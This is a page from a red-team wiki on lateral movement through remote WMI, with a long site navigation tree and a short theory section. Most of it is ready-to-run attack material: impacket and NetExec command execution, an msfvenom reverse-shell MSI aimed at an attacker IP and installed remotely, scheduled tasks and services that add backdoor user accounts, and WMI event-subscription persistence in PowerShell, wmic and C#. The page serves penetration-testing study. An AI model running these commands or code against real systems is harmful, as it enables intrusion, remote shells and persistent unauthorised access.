Infiltr8: The Red-Book
Infiltr8ForumGitHub
  • The Red-Book
  • Red-Teaming
    • Reconnaissance
      • DNS Enumeration
      • Subdomains enumeration
      • Email Harvesting
      • Host Discovery
      • TCP/UDP Service Scanning
      • Vulnerability Scanning
      • Google Dorks
      • GitHub Recon
      • Files Metadata
      • 🛠️Maltego
      • 🛠️Specialized Search Engines
    • Execution
      • Code & Process Injection
        • Loading .NET Reflective Assembly
        • Loading .NET Assembly from Windows Script Hosting
        • Process Hollowing
        • WndProc Callback Shellcode Execution
        • Fibers Shellcode Execution
        • Vector Exception Handler Shellcode Execution
        • NtQueueApcThread & NtTestAlert Shellcode Execution
        • Thread Pool Callback Shellcode Execution
        • Module Stomping Shellcode Injection
        • Remote .NET Assembly Loading through WaaSRemediation DCOM Abuse
        • 🛠️DLL Injection
        • 🛠️CreateRemoteThread Injection
        • 🛠️Reflective DLL Injection
        • 🛠️NtMapViewOfSection Injection
        • 🛠️SetWindowHookEx Injection
        • 🛠️PoolParty
        • 🛠️MockingJay
      • Code Execution
        • CMSTP
        • MSBuild
        • MSHTA
        • Microsoft Office Execution
        • Windows Script Host (WSH)
        • Outlook Home Page Abuse (Specula)
        • Powershell Without Powershell.exe
        • RegSrv32
        • Scheduled Tasks
        • Services
        • Windows Library Files
        • HTML Help Files
        • WMI
        • Script Exploits
        • 🛠️Sliver
    • Initial Access
      • Network Services
      • Password Attacks
      • Phishing
        • HTML Smuggling
        • Phishing with Calendars (.ICS Files)
        • Phishing With Microsoft Office
          • MS Office - VBA (Macros)
          • MS Office - RTF Files RCE
          • MS Office - Custom XML parts
          • 🛠️MS Office - Excel 4.0 (XLM) Macros
          • 🛠️MS Office - VBA Stomping
          • 🛠️MS Office - Remote Dotm Template Injection
        • 🛠️Phishing via Proxy
          • Adversary in the Middle (AitM) Phishing
            • EvilGoPhish
            • Evilginx
            • Muraena
            • Modlishka
          • Browser in the Middle (BitM) Phishing
            • cuddlephish
            • EvilnoVNC
    • Persistence
      • Active Directory
      • Windows
        • Accessibility features Backdoor
        • AEDebug Keys Persistence
        • Image File Execution Options (IFEO) Persistence
        • Logon Triggered Persistence
        • LSA Persistence
          • Security Support Provider DLLs
          • Authentication Package
        • Natural Language 6 DLLs Persistence
        • Run Keys Persistence
        • Winlogon Persistence
        • WMI Event Subscription Persistence
      • Linux
        • SSH for Persistence
        • GSocket for Persistence
        • 🛠️Udev rules
    • Defense Evasion
      • Endpoint Detection Respons (EDR) Bypass
        • Bring Your Own Vulnerable Driver (BYOVD)
        • Safe Mode With Networking
        • Windows Defender Application Control (WDAC): Killing EDR
        • 🛠️Load Unsigned Drivers
        • 🛠️Minifilter Altitude
        • 🛠️Hypervisor Code Integrity (HVCI) Disallowed Images
        • 🛠️Windows Filtering Platform (WFP)
        • 🛠️Userland Hooking Bypass
      • UAC Bypass
      • AMSI Bypass
      • ETW evasion
      • Living Off The Land
        • Windows Sysinternals
        • LOLBAS Project
        • File Operations
        • File Executions
      • Signature Evasion
      • Obfuscation
        • PowerShell Obfuscation
        • 🛠️Commandline Obfusaction
        • 🛠️PE Obfuscation
        • 🛠️String Encryption
      • AppLocker Bypass
      • Mark-of-the-Web (MotW) Bypass
      • 🛠️PowerShell Constrained Language Mode (CLM) Bypass
      • 🛠️Kill Windows Defender
      • 🛠️Virtualization-based security (VBS) Bypass
        • 🛠️Credential Guard bypass
        • 🛠️hypervisor-protected code integrity (HVCI) Bypass
        • 🛠️Windows Defender Application Control (WDAC) Bypass
      • 🛠️Sandbox Evasion
    • Discovery
      • Active Directory
      • Windows
        • System Information
        • Processes & Services
        • Scheduled Tasks
        • Installed applications
        • Network Configuration
        • FIle/Folder ACLs
        • Knowing your Shell
        • Security Solutions
      • Linux
        • OS Details
        • 🛠️Process & Services
    • Privilege Escalation
      • Windows
        • Tools ⚙️
        • PowerShell Logging
        • Credentials In Files
        • Abusing Tokens
        • Insecure Services
          • Weak Service Permissions
          • Weak File/Folder Permissions
          • Weak Registry Permissions
          • Unquoted Service Path
        • AlwaysInstallElevated
        • AutoLogon Registry
        • Insecure Scheduled Tasks
          • Weak File/Folder Permissions
        • 🛠️DLL Hijacking
      • Linux
        • Kernel Exploits
          • OverlayFs Exploits
            • GameOverlayFs
            • CVE-2023-0386
            • CVE-2021-3493
          • CVE-2023-32233 (CAP_NET_ADMIN)
          • Dirty Pipe
          • 🛠️DirtyCow
          • 🛠️RDS
          • 🛠️Full Nelson
          • 🛠️Mempodipper
        • GLIBC Exploits
          • Looney Tunables
        • Polkit Exploits
          • PwnKit
          • D-Bus Authentication Bypass
        • Sudo Exploits
          • Sudo Binaries
          • Sudo Misconfigurations
          • Reuse Sudo Tokens
          • User Restriction Bypass
          • Pwfeedback BOF
          • Baron Samedit
          • Sudoedit Bypass
        • SUID Binaries
        • Script Exploits
          • Python
            • Pip Download Code Execution
            • PyInstaller Code Execution
            • Pytorch Models/PTH Files Code Execution
          • Ruby
          • Bash
          • Perl
        • Scheduled tasks
          • Cron Jobs
          • Systemd timers
        • Interesting Groups
          • Lxd
        • Capabilities
        • NFS no_root_squash/no_all_squash
        • Linux Active Directory
    • Credential Access
      • Password Stores
        • Windows Credential Manager
        • KeePass
        • Web Browsers
      • Unsecured Credentials
        • Credentials In Files
        • VNC Config
        • SSH Private Keys
        • Git Repositories
        • Veeam Backup
        • Network shares
        • Network protocols
      • OS Credentials
        • Windows & Active Directory
          • SAM & LSA secrets
          • DPAPI secrets
          • NTDS secrets
          • LSASS secrets
          • DCSync
          • Kerberos key list
          • Group Policy Preferences
          • AutoLogon Registry
          • In-memory secrets
          • Cached Kerberos tickets
        • Linux
          • Shadow File
          • In-memory secrets
          • Linux Cached Kerberos tickets
      • MITM and coerced auths
      • Password Attacks
        • Default, weak & Leaked Passwords
        • Generate Wordlists
        • Brute-Force
          • Online - Attacking Services
          • Offline - Password Cracking
      • Impersonation
    • Lateral Movement
      • Port Forwarding
      • TLS Tunneling (Ligolo-ng)
      • HTTP(s) Tunneling
      • SSH Tunneling
      • DNS Tunneling
      • SMB-based
      • WinRM
      • Remote WMI
      • DCOM
      • Scheduled Tasks (ATSVC)
      • Services (SVCCTL)
    • Exfiltration
      • Exfiltration over ICMP
      • Exfiltration Over DNS
      • Exfiltration Over HTTP(s)
      • Exfiltration Over SMB
  • Web Pentesting
    • Reconnaissance
      • Subdomains enumeration
      • WAF Enumeration
    • Infrastructures
      • DBMS
        • Enum Databases
        • Read/Write/Execute
      • DNS
        • Subdomain Takeover
      • Web Servers
        • Nginx
        • Apache
          • Apache Commons Text
          • Apache Tomcat
      • CMS
        • Wordpress
        • 🛠️Joomla
        • 🛠️Drupal
        • 🛠️Bolt CMS
      • Frameworks
        • Spring Framework
          • Spring Routing Abuse
          • Spring Boot Actuators
          • Spring View Manipulation
        • Werkzeug
        • 🛠️Django
        • 🛠️Flask
        • 🛠️Laravel
      • CGI
    • Web Vulnerabilities
      • Server-Side
        • NoSQL Injection
        • SQL Injection
          • UNION Attacks
          • Blind Attacks
            • Boolean Based
            • Time Based
            • Error Based
        • Insecure Deserialization
          • .NET Deserialization
          • Python Deserialization
          • PHP Deserialization
          • 🛠️Java Deserialization
          • 🛠️Ruby Deserialization
        • File Inclusion & Path Traversal
          • LFI to RCE
            • PHP Wrappers
            • Logs Poisoning
            • /proc
            • PHPInfo
            • PHP Sessions
            • Segmentation Fault
          • RFI to RCE
        • Command Injection
        • Brute-Force
        • SSTI (Server-Side Template Injection)
        • Exposed Git Repositories
        • 🛠️File Upload
      • Client-Side
        • XSS (Cross-Site Scripting)
        • CORS (Cross-origin resource sharing)
  • Network Pentesting
    • Network services
      • DNS
      • FastCGI
      • HTTP & HTTPS
      • LDAP
      • NFS
      • MS-RPC
      • MSSQL
      • NBT-NS (NetBIOS)
      • Oracle TNS
      • RDP
      • Rsync
      • SMB
      • SMTP
      • SNMP
      • SSH
      • WebDAV
      • WinRM
      • XMPP/Jabber
      • 🛠️RPC Port Mapper
      • 🛠️FTP
      • 🛠️Telnet
      • 🛠️MySQL
    • WiFi
      • 🛠️WEP
      • 🛠️WPA2
      • 🛠️WPS
    • Bluetooth
  • Active Directory Pentesting
    • Reconnaissance
      • Tools ⚙️
        • PowerView ⚙️
        • Responder ⚙️
        • BloodHound ⚙️
        • enum4linux ⚙️
      • Network
        • DHCP
        • DNS
        • NBT-NS
        • Port scanning
        • SMB
        • LDAP
        • MS-RPC
      • Objects & Settings
        • DACLs
        • Group policies
        • Password policy
        • LAPS
    • Movement
      • Credentials
        • Dumping
        • Cracking
        • Bruteforcing
          • Guessing
          • Spraying
          • Stuffing
        • Shuffling
      • MITM and coerced auths
        • ARP poisoning
        • DNS spoofing
        • DHCP poisoning
        • DHCPv6 spoofing
        • WSUS spoofing
        • LLMNR, NBT-NS, mDNS spoofing
        • ADIDNS poisoning
        • WPAD spoofing
        • MS-EFSR abuse (PetitPotam)
        • MS-RPRN abuse (PrinterBug)
        • MS-FSRVP abuse (ShadowCoerce)
        • MS-DFSNM abuse (DFSCoerce)
        • MS-EVEN abuse (CheeseOunce)
        • PushSubscription abuse
        • WebClient abuse (WebDAV)
        • Living off the land
        • 🛠️NBT Name Overwrite
        • 🛠️ICMP Redirect
      • NTLM
        • Capture
        • Relay
        • Pass the hash
      • Kerberos
        • Pre-auth bruteforce
        • Pass the key
        • Overpass the hash
        • Pass the ticket
        • Pass the cache
        • Forged tickets
          • Silver tickets
          • Golden tickets
          • Diamond tickets
          • Sapphire tickets
          • RODC Golden tickets
          • MS14-068
        • ASREQroast
        • ASREProast
        • Kerberoast
        • Delegations
          • (KUD) Unconstrained
          • (KCD) Constrained
          • (RBCD) Resource-based constrained
          • S4U2self abuse
          • Bronze Bit
        • Shadow Credentials
        • UnPAC the hash
        • Pass the Certificate - PKINIT
        • sAMAccountName spoofing
        • SPN-jacking
      • Netlogon
        • ZeroLogon
      • DACL abuse
        • AddMember
        • ForceChangePassword
        • Targeted Kerberoasting
        • WriteOwner
        • ReadLAPSPassword
        • ReadGMSAPassword
        • Grant ownership
        • Grant rights
        • Logon script
        • Rights on RODC object
      • Group policies
      • Trusts
      • Certificate Services (AD-CS)
        • Certificate templates
        • Certificate authority
        • Access controls
        • Unsigned endpoints
        • Certifried
      • Schannel
        • Pass the Certificate - Schannel
      • SCCM / MECM
        • Privilege Escalation
        • Post Exploitation
      • Exchange services
        • PrivExchange
        • ProxyLogon
        • ProxyShell
        • ProxyNotShell
      • Print Spooler Service
        • PrinterBug
        • PrintNightmare
      • Built-ins & settings
        • Builtin Groups
          • DNSAdmins
          • AD Recycle Bin
        • MachineAccountQuota
        • Pre-Windows 2000 computers
        • RODC
    • Persistence
      • Skeleton key
      • SID History
      • AdminSDHolder
      • GoldenGMSA
      • Kerberos
        • Forged tickets
        • Delegation to KRBTGT
      • Certificate Services (AD-CS)
        • Certificate authority
        • Access controls
        • Golden certificate
      • LAPS
      • 🛠️DC Shadow
      • 🛠️Access controls
  • 🛠️Cloud & CI/CD Pentesting
    • CI/CD
      • Ansible Pentesting
      • Artifactory Pentesting
      • Docker Registry
        • 🛠️HTTP API V2
      • 🛠️Kubernetes
      • 🛠️GitLab
      • 🛠️Github
      • 🛠️Gitea
      • 🛠️Jenkins
      • 🛠️Terraform
    • Azure Pentesting
      • Reconnaissance
        • Tools ⚙️
        • Unauthenticated Reconnaissance
        • Internal Reconnaissance
      • Movement
        • Credentials
          • Password Spraying
          • Token Manipulation
            • Pass-The-Cookie (PTC)
            • Pass the Certificate (Azure)
            • Pass the PRT
        • Aazure Resources
          • Key Vault
          • Storage Accounts
          • Virtual Machines
          • Automation
          • Databases
        • Role-Based Access
        • Conditional Access
        • Service Principals & Applications
        • Hybrid Identity
          • Password Hash Sync (PHS)
          • Pass-through Authentication (PTA)
          • Active Directory Federation Services (ADFS)
          • Seamless SSO
          • Cloud Kerberos Trust
        • Cross-Tenant Access
      • Persistence
    • GCP Pentesting
    • AWS Pentesting
  • 🛠️Smart Contracts Pentesting
    • Solidity
      • Vulnerabilities
        • Delegatecall Attack
        • Denial of Service Attack
        • Overflow & Underflow
        • Reentrancy Attack
        • Self Destruct Attack
        • Tx Origin Attack
Powered by GitBook
On this page
  • Theory
  • Practice
  • Remote Process Creation Using WMI
  • Remote MSI Installation Using WMI
  • Remote Scheduled Tasks Creation Using WMI
  • Remote Service Creation Using WMI
  • Lateral Movement via WMI Event Subscription
  • Resources

Was this helpful?

Edit on GitHub
  1. Red-Teaming
  2. Lateral Movement

Remote WMI

MITRE ATT&CK™ Windows Management Instrumentation - Technique T1047

Last updated 1 year ago

Was this helpful?

Theory

Windows Management Instrumentation (WMI) provides a standardized way for querying and managing various elements of a Windows operating system. It allow administrators to perform standard management tasks that attackers can abuse to perform lateral movements.

When using WMI remotely, the client application establishes a connection to the WMI service on the remote Windows machine. This connection is made using DCOM (Distributed Component Object Model) as the underlying transport protocol. The client initiates an RPC (Remote Procedure Call) connection to communicate with the WMI DCOM infrastructure on the remote system.

Once the DCOM connection is established, the protocols (Microsoft WMI Extensions to DCOM) comes into play. MS-WMI protocols provides additional functionality that is specific to WMI operations over the DCOM protocol. These extensions enhance DCOM to handle WMI-specific tasks such as executing WMI queries, invoking methods, and retrieving system information.

This method is much more discreet than the one used by psexec, smbexec and the other main tools in the impacket suite.

Practice

Remote Process Creation Using WMI

Impacket

The 's script give you a semi-interactive shell by leveraging DCOM and the MS-WMI protocol.

#Execute commands over MS-WMI
wmiexec.py <domain>/<username>:<password>@<target>

#SilentCommand, mor likely to bypass security solutions
wmiexec.py -silentcommand <domain>/<username>:<password>@<target> <COMMAND>

NetExec

We may use to remotely execute commands on a remote target using WMI.

## Check if you can remote WMI
# With SMB port open
nxc wmi <target> -u <username> -p <password>
# With SMB port close, add the flag -d DOMAIN
nxc wmi <target> -u <username> -p <password> -d <domain>

## Execute commands
# wmiexec
nxc wmi <target> -u <username> -p <password> -x whoami
# wmiexec-event
nxc wmi <target> -u <username> -p <password> -x whoami --exec-method wmiexec-event
# wmiexec-event + SilentCommand, mor likely to bypass security solutions
nxc wmi <target> -u <username> -p <password> -x whoami --exec-method wmiexec-event --no-output

We can spawn a process on a remote target using wmi and powershell cmdlets

Powershell v1+ (2006)

#Create PSCredentials and execute commands on remote target
$credential = New-Object System.Management.Automation.PSCredential("USERNAME", (ConvertTo-SecureString "PASSWORD" -AsPlainText -Force));
$Command = "powershell.exe -Command Set-Content -Path C:\text.txt -Value munrawashere";
Invoke-WmiMethod -ComputerName "TARGET" -Credential $credential -Class Win32_Process -Name Create -ArgumentList $Command

Powershell v3+ (2012)

#Create CimSession and execute commands on remote target
$Session = New-CimSession -ComputerName "TARGET" -SessionOption (New-CimSessionOption -Protocol "DCOM") -Credential ((new-object -typename System.Management.Automation.PSCredential -ArgumentList @("USERNAME", (ConvertTo-SecureString -String "PASSW0RD" -asplaintext -force)))) -ErrorAction Stop;
$Command = "powershell.exe -Command Set-Content -Path C:\text.txt -Value munrawashere";
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{ CommandLine = $Command }

We can spawn a process on a remote target using wmic.exe

wmic.exe /node:TARGET /user:Administrator /password:Mypass123 process call create "cmd.exe /c calc.exe" 

Remote MSI Installation Using WMI

We can install a MSI package on a remote target using wmi and powershell cmdlets. Let's create a malicious MSI using msfvenom and upload it to a share :

#Generate an evil package
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ATTACKING_IP> LPORT=<PORT> -f msi > evil64.msi

#Upload it to a share
smbclient -c 'put evil64.msi' -U <USER> '//TARGET/C$'

Powershell v1+ (2006)

#Create PSCredentials and install MSI on remote target
$credential = New-Object System.Management.Automation.PSCredential("USERNAME", (ConvertTo-SecureString "PASSWORD" -AsPlainText -Force));
Invoke-WmiMethod -Path win32_product -name install -argumentlist @($true,"","c:\Windows\evil64.msi") -ComputerName "TARGET" -Credential $credential

Powershell v3+ (2012)

#Create CimSession and install MSI on remote target
$Session = New-CimSession -ComputerName "TARGET" -SessionOption (New-CimSessionOption -Protocol "DCOM") -Credential ((new-object -typename System.Management.Automation.PSCredential -ArgumentList @("USERNAME", (ConvertTo-SecureString -String "PASSW0RD" -asplaintext -force)))) -ErrorAction Stop;
Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\evil64.msi"; Options = ""; AllUsers = $false}

We can install a MSI package on a remote target using wmic.exe. Let's create a malicious MSI using msfvenom:

#Generate an evil package & host it on SMB server
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ATTACKING_IP> LPORT=<PORT> -f msi > evil64.msi

#Upload it to a share
smbclient -c 'put evil64.msi' -U <USER> '//TARGET/C$'

Execute following commands

#Install MSI on remote target
wmic.exe /node:TARGET /user:DOMAIN\USER /password:PASSWORD product call install PackageLocation=c:\evil64.msi

Remote Scheduled Tasks Creation Using WMI

We can create scheduled tasks on a remote target using wmi and powershell cmdlets.

Powershell v3+ (2012)

#Create CimSession and scheduled task, start it
$Session = New-CimSession -ComputerName "TARGET" -SessionOption (New-CimSessionOption -Protocol "DCOM") -Credential ((new-object -typename System.Management.Automation.PSCredential -ArgumentList @("USERNAME", (ConvertTo-SecureString -String "PASSW0RD" -asplaintext -force)))) -ErrorAction Stop;
$Action = New-ScheduledTaskAction -CimSession $Session -Execute "cmd.exe" -Argument "/c net user munra22 aSdf1234 /add";
Register-ScheduledTask -CimSession $Session -Action $Action -User "NT AUTHORITY\SYSTEM" -TaskName "MyTask";
Start-ScheduledTask -CimSession $Session -TaskName "MyTask";

#Delete the task
Unregister-ScheduledTask -CimSession $Session -TaskName "MyTask"

We can create scheduled tasks on a remote target using wmic.exe

In Windows 8 and higher, you can only create scheduled jobs with WMI if the registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Configuration has a value EnableAt=1 of type REG_DWORD. Therefore, this technique is unlikely to be found in the wild.

#Create a scheduled task & start it
wmic.exe /node:TARGET /user:DOMAIN\USER /password:PASSWORD path Win32_ScheduledJob create Command="net user schTaskUser Pass123 /add",DaysOfMonth=1,DaysOfWeek=1,InteractWithDesktop=False,RunRepeatedly=False,StartTime="********143000.000000-420"
 
#Delete the task
wmic.exe /node:TARGET /user:DOMAIN\USER /password:PASSWORD path Win32_ScheduledJob where "JobiD like '1'" call Delete

Remote Service Creation Using WMI

We can create a service on a remote target using wmi and powershell cmdlets.

Powershell v1+ (2012)

#Create PSCredentials and a service
$credential = New-Object System.Management.Automation.PSCredential("USERNAME", (ConvertTo-SecureString "PASSWORD" -AsPlainText -Force));
Invoke-WmiMethod -Class Win32_Service -Name Create -ArgumentList @($false,"WMI Created Service",[byte]::Parse("1"),$null,$null,"WMICreatedService","net user wmiSvcUser Pass123 /add",$null,[byte]::Parse("16"),"Manual","NT AUTHORITY\SYSTEM","") -ComputerName TARGET -Credential $credential

#Create an handle to the service and Start it
(Get-WmiObject -Class Win32_Service -Filter "name='WMICreatedService'" -ComputerName TARGET -Credential $credential).StartService()

#Finaly stop and delete it
(Get-WmiObject -Class Win32_Service -Filter "name='WMICreatedService'" -ComputerName TARGET -Credential $credential).StopService()
(Get-WmiObject -Class Win32_Service -Filter "name='WMICreatedService'" -ComputerName TARGET -Credential $credential).Delete()

Powershell v3+ (2012)

#Create CimSession and a service
$Session = New-CimSession -ComputerName "TARGET" -SessionOption (New-CimSessionOption -Protocol "DCOM") -Credential ((new-object -typename System.Management.Automation.PSCredential -ArgumentList @("USERNAME", (ConvertTo-SecureString -String "PASSW0RD" -asplaintext -force)))) -ErrorAction Stop;
Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName Create -Arguments @{ Name = "MyService"; DisplayName = "MyService"; PathName = "net user munra2 Pass123 /add"; ServiceType = [byte]::Parse("16"); StartMode = "Manual" }

#Create an handle to the service and Start it
$Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter "Name LIKE 'MyService'"
Invoke-CimMethod -InputObject $Service -MethodName StartService

#Finaly stop and delete it
Invoke-CimMethod -InputObject $Service -MethodName StopService
Invoke-CimMethod -InputObject $Service -MethodName Delete

We can create a service on a remote target using wmic.exe.

#I didn't find a way to create services using wmic.exe
#Contcat me if you did

#Start it
wmic.exe /node:TARGET /user:DOMAIN\USER /password:PASSWORD path Win32_Service where "name like 'WMICreatedService'" call startservice

#Delete it
wmic.exe /node:TARGET /user:DOMAIN\USER /password:PASSWORD path Win32_Service where "name like 'WMICreatedService'" call Delete

Lateral Movement via WMI Event Subscription

Typically, WMI event subscription requires creation of the following three classes which are used to store the payload or the arbitrary command, to specify the event that will trigger the payload and to relate the two classes (__EventConsumer &__EventFilter) so execution and trigger to bind together.

  • __EventFilter // Trigger (new process, failed logon etc.)

  • EventConsumer // Perform Action (execute payload etc.)

  • __FilterToConsumerBinding // Binds Filter and Consumer Classes

Implementation of this technique doesn’t require any toolkit since Windows has a utility that can interact with WMI (wmic) and PowerShell can be leveraged as well.

Execution of the following commands using powershell will create in the name space of “root\subscription“ three events on the target hosts. You can set the arbitrary payload to execute within 5 seconds on every new logon session creation or within 60 seconds every time Windows starts.

#Create CimSession
$Session = New-CimSession -ComputerName "TARGET" -SessionOption (New-CimSessionOption -Protocol "DCOM") -Credential ((new-object -typename System.Management.Automation.PSCredential -ArgumentList @("USERNAME", (ConvertTo-SecureString -String "PASSW0RD" -asplaintext -force)))) -ErrorAction Stop;

#Create filter
#Query to execute payload within 60 seconds every time Windows starts:
#SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325
$FilterArgs = @{name='v4resk-WMI'; EventNameSpace='root\CimV2'; QueryLanguage="WQL"; Query="SELECT * FROM __InstanceCreationEvent Within 5 Where TargetInstance Isa 'Win32_LogonSession'"};
$Filter=New-CimInstance -CimSession $Session -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs

#Create consumer
$ConsumerArgs = @{name='WMIPersist'; CommandLineTemplate="$($Env:SystemRoot)\System32\evil.exe";}
$Consumer=New-CimInstance -CimSession $Session -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs

#Create cosnmerBinding (bind filter & consumer)
$FilterToConsumerArgs = @{Filter = [Ref] $Filter; Consumer = [Ref] $Consumer;}
$FilterToConsumerBinding = New-CimInstance -CimSession $Session -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs

We can cleanup using following commands

#Create CimSession
$credential = (new-object -typename System.Management.Automation.PSCredential -ArgumentList @("USERNAME", (ConvertTo-SecureString -String "PASSW0RD" -asplaintext -force)))

#Get Consumer,Filter,$FilterConsumerBinding
$EventConsumerToCleanup = Get-WmiObject -ComputerName "TARGET" -Credential $credential -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = 'v4resk-WMI'"
$EventFilterToCleanup = Get-WmiObject -ComputerName "TARGET" -Credential $credential -Namespace root/subscription -Class __EventFilter -Filter "Name = 'v4resk-WMI'"
$FilterConsumerBindingToCleanup = Get-WmiObject -ComputerName "TARGET" -Credential $credential -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding"

#Remove
$FilterConsumerBindingToCleanup | Remove-WmiObject
$EventConsumerToCleanup | Remove-WmiObject
$EventFilterToCleanup | Remove-WmiObject

Execution of the following commands using wmic.exe will create in the name space of “root\subscription“ three events on the target hosts. You can set the arbitrary payload to execute within 5 seconds on every new logon session creation or within 60 seconds every time Windows starts.

#Create filter to execute payload within 5 seconds on every new logon session creation:
wmic /node:TARGET /user:DOMAIN\USER /password:PASSWORD /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="JustAnEventFilter", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceCreationEvent Within 5 Where TargetInstance Isa 'Win32_LogonSession'"
#Or
#Create filter to execute payload within 60 seconds every time Windows starts:
wmic /node:TARGET /user:DOMAIN\USER /password:PASSWORD /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="JustAnEventFilter", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"

wmic /node:TARGET /user:DOMAIN\USER /password:PASSWORD /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="JustAconsumer", ExecutablePath="C:\Windows\TEMP\evil.exe",CommandLineTemplate="C:\Windows\TEMP\evil.exe"
wmic /node:TARGET /user:DOMAIN\USER /password:PASSWORD /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"JustAnEventFilter\"", Consumer="CommandLineEventConsumer.Name=\"JustAconsumer\""

We can implement the same technique with following C# code

// code completely stolen from @domchell article 
// https://www.mdsec.co.uk/2020/09/i-like-to-move-it-windows-lateral-movement-part-1-wmi-event-subscription/
// slightly modified to accommodate this lab

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Management;

namespace wmisubscription_lateralmovement
{
    class Program
    {
        static void Main(string[] args)
        {

            // Connect to remote endpoint for WMI management
            string NAMESPACE = @"\\192.168.56.105\root\subscription";

            ConnectionOptions cOption = new ConnectionOptions();
            ManagementScope scope = null;
            scope = new ManagementScope(NAMESPACE, cOption);
            
            scope.Options.Username = "spotless";
            scope.Options.Password = "123456";
            scope.Options.Authority = string.Format("ntlmdomain:{0}", ".");
            
            scope.Options.EnablePrivileges = true;
            scope.Options.Authentication = AuthenticationLevel.PacketPrivacy;
            scope.Options.Impersonation = ImpersonationLevel.Impersonate;
            scope.Connect();

            // Create WMI event filter
            ManagementClass wmiEventFilter = new ManagementClass(scope, new ManagementPath("__EventFilter"), null);

            string query = "SELECT * FROM __InstanceCreationEvent Within 5 Where TargetInstance Isa 'Win32_LogonSession'";
            WqlEventQuery myEventQuery = new WqlEventQuery(query);

            ManagementObject myEventFilter = wmiEventFilter.CreateInstance();
            myEventFilter["Name"] = "evilSpotlessFilter";
            myEventFilter["Query"] = myEventQuery.QueryString;
            myEventFilter["QueryLanguage"] = myEventQuery.QueryLanguage;
            myEventFilter["EventNameSpace"] = @"root\cimv2";
            myEventFilter.Put();

            // Create WMI event consumer
            ManagementObject myEventConsumer = new ManagementClass(scope, new ManagementPath("CommandLineEventConsumer"), null).CreateInstance();
            myEventConsumer["Name"] = "evilSpotlessConsumer";
            myEventConsumer["ExecutablePath"] = "mspaint.exe";
            myEventConsumer.Put();

            // Bind filter and consumer
            ManagementObject  myBinder = new ManagementClass(scope, new ManagementPath("__FilterToConsumerBinding"), null).CreateInstance();
            myBinder["Filter"] = myEventFilter.Path.RelativePath;
            myBinder["Consumer"] = myEventConsumer.Path.RelativePath;
            myBinder.Put();

            // Cleanup
            // myEventFilter.Delete();
            // myEventConsumer.Delete();
            // myBinder.Delete();

        }
    }
}

Resources

Using WMI on a remote endpoint, we can perform lateral movements based on.

MS-WMI
Impacket
wmiexec
netexec
WMI Event Subscription Persitence
LogoTryHackMe | Cyber Security TrainingTryHackMe
LogoPersistence – WMI Event SubscriptionPenetration Testing Lab
LogoWMI + NewScheduledTaskAction Lateral MovementRed Team Notes
LogoWMI + MSI Lateral MovementRed Teaming Experiments